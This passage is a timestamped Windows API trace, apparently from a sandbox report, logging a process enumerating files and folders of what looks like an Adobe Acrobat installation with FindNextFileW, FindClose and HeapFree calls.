	[0183.389] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1
	[0183.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.752] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0183.752] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0183.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.752] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1
	[0183.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.753] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1
	[0183.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.753] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0183.753] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0183.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.753] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1
	[0183.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.754] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0
	[0183.754] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0183.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.754] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1
	[0183.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0183.756] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0
	[0183.756] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0183.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.756] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1
	[0183.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0183.756] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1
	[0183.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0183.757] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0
	[0183.757] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0183.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.757] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1
	[0183.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0183.758] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0
	[0183.758] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0183.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.758] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1
	[0183.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.758] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1
	[0183.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.759] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1
	[0183.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0183.760] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1
	[0183.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.760] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1
	[0183.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.763] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1
	[0183.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0183.763] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1
	[0183.791] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.791] FindNextFileW (in: hFindFile=0x4142f98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0183.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.792] FindNextFileW (in: hFindFile=0x4142f98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0183.792] FindClose (in: hFindFile=0x4142f98 | out: hFindFile=0x4142f98) returned 1
	[0183.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.792] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0183.792] FindClose (in: hFindFile=0x4142cd8 | out: hFindFile=0x4142cd8) returned 1
	[0183.792] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.792] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1
	[0183.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.793] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0183.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.793] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0183.793] FindClose (in: hFindFile=0x41429d8 | out: hFindFile=0x41429d8) returned 1
	[0183.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.794] FindNextFileW (in: hFindFile=0x4142918, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0183.794] FindClose (in: hFindFile=0x4142918 | out: hFindFile=0x4142918) returned 1
	[0183.794] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.794] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1
	[0183.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.795] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0183.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.795] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0183.795] FindClose (in: hFindFile=0x4142d98 | out: hFindFile=0x4142d98) returned 1
	[0183.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.795] FindNextFileW (in: hFindFile=0x4142ed8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0183.796] FindClose (in: hFindFile=0x4142ed8 | out: hFindFile=0x4142ed8) returned 1
	[0183.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0183.796] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1
	[0183.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0183.798] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1
	[0183.922] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.922] FindNextFileW (in: hFindFile=0x41420d8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1
	[0183.925] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0183.925] FindNextFileW (in: hFindFile=0x4142818, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0183.925] FindClose (in: hFindFile=0x4142818 | out: hFindFile=0x4142818) returned 1
	[0183.925] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0183.925] FindNextFileW (in: hFindFile=0x41420d8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0183.926] FindClose (in: hFindFile=0x41420d8 | out: hFindFile=0x41420d8) returned 1
	[0183.926] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
